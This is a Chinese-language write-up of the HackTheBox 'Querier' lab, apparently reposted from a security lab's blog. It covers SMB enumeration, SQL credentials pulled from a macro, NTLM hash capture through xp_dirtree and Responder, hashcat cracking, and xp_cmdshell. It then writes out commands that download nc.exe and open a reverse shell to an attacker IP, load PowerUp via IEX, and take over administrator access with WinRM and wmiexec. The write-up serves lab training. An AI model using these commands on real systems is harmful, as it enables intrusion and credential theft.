前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >从HTB-Querier靶场看内网渗透

从HTB-Querier靶场看内网渗透

作者头像
Ms08067安全实验室
发布2021-07-16 15:51:05
1K0
发布2021-07-16 15:51:05
举报

本文作者:阿青(Ms08067内网安全小组成员)

querier作为htb中的一个靶标环境,其中涉及的⼀些基础知识和工具应用值得学习,对该靶标的渗透流程如图所示:

图一 整体流程

  • 目标IP: 10.10.10.125
  • 本机IP: 10.10.14.6

需要的工具


  1. smbclient
  2. responder
  3. nc
  4. powerup.ps1
  5. nmap

0x01 第一阶段:从信息收集到连接数据库


代码语言:javascript
复制
# nmap -sC -sV -p- 10.10.10.125 -oA querier
Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-16 00:56 EST
Nmap scan report for querier.htb (10.10.10.125)
Host is up (0.013s latency).
Not shown: 65521 closed ports
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
1433/tcp open ms-sql-s Microsoft SQL Server 14.00.1000.00
| ms-sql-ntlm-info:

通过连接文件共享服务,可以下载一个名为"Currency Volume Report.xlsm"的文件。

代码语言:javascript
复制
smbclient -U QUERIER/invalid //10.10.10.125/Reports

smb: \> get "Currency Volume Report.xlsm"

在Linux下可以通过strings和binwalk来查看文件内容,这里是通过`binwalk -e`命令解压了xlsm文件,并用strings 命令查看vbaProject.bin中存储的宏。

代码语言:javascript
复制
# strings vbaProject.bin
 macro to pull data for client volume reports
n.Conn]
Open
rver=<
SELECT * FROM volume;
word>
MsgBox "connection successful"
Set rs = conn.Execute("SELECT * @@version;")
Driver={SQL Server};Server=QUERIER;Trusted_Connection=no;Database=volume;Uid=reporting;Pwd=PcwTWTHRwryjc$c6

在windows下直接打开宏编辑器,如图

图二 宏信息

得到sql-server连接信息:

  • 用户名: reporting
  • 密码: PcwTWTHRwryjc$c6

使用mssqlclient连接数据库

代码语言:javascript
复制
mssqlclient.py -windows-auth querier/reporting:PcwTWTHRwryjc\$c6@$TARGET_IP

0x02 第二阶段:从数据库到命令执行


抓取hash请求

连接数据库后,发现没有权限执行命令。这里利用xp_dirtree去发送一个目录请求,并利用responder开启一个smb server认证服务来抓取hash信息。

代码语言:javascript
复制
# 开启responder
responder -I eth0 -wrf

发送一次smb认证请求

图三 xp_dirtree

hash抓取结果

破解hash

利用hashcat破解抓到的hash

代码语言:javascript
复制
hashcat -m 5600 ./test.nltmv2 ~/hacktools/worddic/rockyou.txt --force

可以利用 hashcat --example-hashes | less 来方便地查看相关加密方式

破解结果:

代码语言:javascript
复制
MSSQL-SVC::QUERIER:7808a070c190110d:0ecfa929ab261b727253df84af7cf1f2:0101000000000000c0653150de09d20128624bd821667131000000000200080053004d004200330001001e00570049004e002d00500052004800340039003200520051004100460056000400140053004d00420033002e006c006f00630061006c0003003400570049004e002d00500052004800340039003200520051004100460056002e0053004d00420033002e006c006f00630061006c000500140053004d00420033002e006c006f00630061006c0007000800c0653150de09d201060004000200000008003000300000
000000000000000000003000009828af224f44d2d8ddb8f0e488a92d1bfff623c7fb3b5448ed22e96f6842e89b0a0010000000000000000000000000000000000009001e0063006900660073002f00310030002e00310030002e00310034002e003600000000000000000000000000:corporate568

用户名: mssql-svc

口令:corporate568

使用xp_cmdshell执行命令

开启cmdshell

代码语言:javascript
复制
SQL> EXEC sp_configure 'show advanced options', 1;
[*] INFO(QUERIER): Line 185: Configuration option 'show advanced options' changed from 1 to 1. Run the RECONFIGURE statement to install.
SQL> RECONFIGURE;
SQL> EXEC sp_configure 'xp_cmdshell', 1;
[*] INFO(QUERIER): Line 185: Configuration option 'xp_cmdshell' changed from 1 to 1. Run the RECONFIGURE statement to install.
SQL> RECONFIGURE;
SQL> xp_cmdshell "dir c:\users"
output
...

上传nc并反连

代码语言:javascript
复制
SQL> xp_cmdshell "powershell -command Invoke-WebRequest -Uri http://10.10.14.23/nc.exe -OutFile c:\programdata\nc.exe"
SQL> xp_cmdshell "c:\programdata\nc.exe 10.10.14.6 1234 -e c:\windows\system32\cmd.exe"

# nc监听
nc -lvnp 1234

执行命令成功

图四 反连

0x03 第三阶段: admin提权


利用PowerUp.ps1脚本收集主机信息

Powerup是本地特权提升的一些调用方法,功能相当强大,拥有众多实用的脚本来帮助我们寻找目标主机Windows服务漏洞进行提权,也是PowerShell Empire和PowerSploit 的一部分。参考https://blog.csdn.net/l1028386804/article/details/86089574/

代码语言:javascript
复制
PS C:\Windows\system32> IEX (New-Object Net.Webclient).downloadstring("http://10.10.14.6/PowerUp.ps1")
PS C:\Windows\system32> invoke-allchecks
[*] Checking for cached Group Policy Preferences .xml files....
Changed : {2021-03-14 14:12:48}
UserNames : {Administrator}
NewName : [BLANK]
Passwords : {MyUnclesAreMarioAndLuigi!!1!}
File : C:\ProgramData\Microsoft\GroupPolicy\History\{31B2F340-016D-11D2-945F-00C04FB984F9}\Machine\Preferences\Groups\Groups.xml
       C:\Windows\system32>powershell

利用winrm接口执行命令

nmap扫描时,目标开放了5985端口

代码语言:javascript
复制
require 'winrm'

# Author: Alamot
conn = WinRM::Connection.new(
  endpoint: 'http://10.10.10.125:5985/wsman',
  user: 'querier\administrator',
  password: 'MyUnclesAreMarioAndLuigi!!1!',
)

command=""

conn.shell(:powershell) do |shell|
    until command == "exit\n" do
        output = shell.run("-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ')")
        print(output.output.chomp)
        command = gets
        output = shell.run(command) do |stdout, stderr|
            STDOUT.print stdout
            STDERR.print stderr
        end
    end
    puts "Exiting with code #{output.exitcode}"
end

# ruby querier.rb

...

利用wmiexec连接

代码语言:javascript
复制
wmiexec.py Administrator:MyUnclesAreMarioAndLuigi\!\!1\!@10.10.10.125

0x04 总结


在对整个靶场的攻击中,前期的信息收集很重要,比如通过nmap扫描的445端口发现敏感文件,而后运用sql-server去实现命令执行,最后通过5985端口执行命令,同时,发现sql_server无法执行命令时,也可以尝试运用xp_dirtree+responder的方式进行突破。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2021-07-05,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Ms08067安全实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
数据库
云数据库为企业提供了完善的关系型数据库、非关系型数据库、分析型数据库和数据库生态工具。您可以通过产品选择和组合搭建,轻松实现高可靠、高可用性、高性能等数据库需求。云数据库服务也可大幅减少您的运维工作量,更专注于业务发展,让企业一站式享受数据上云及分布式架构的技术红利!
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档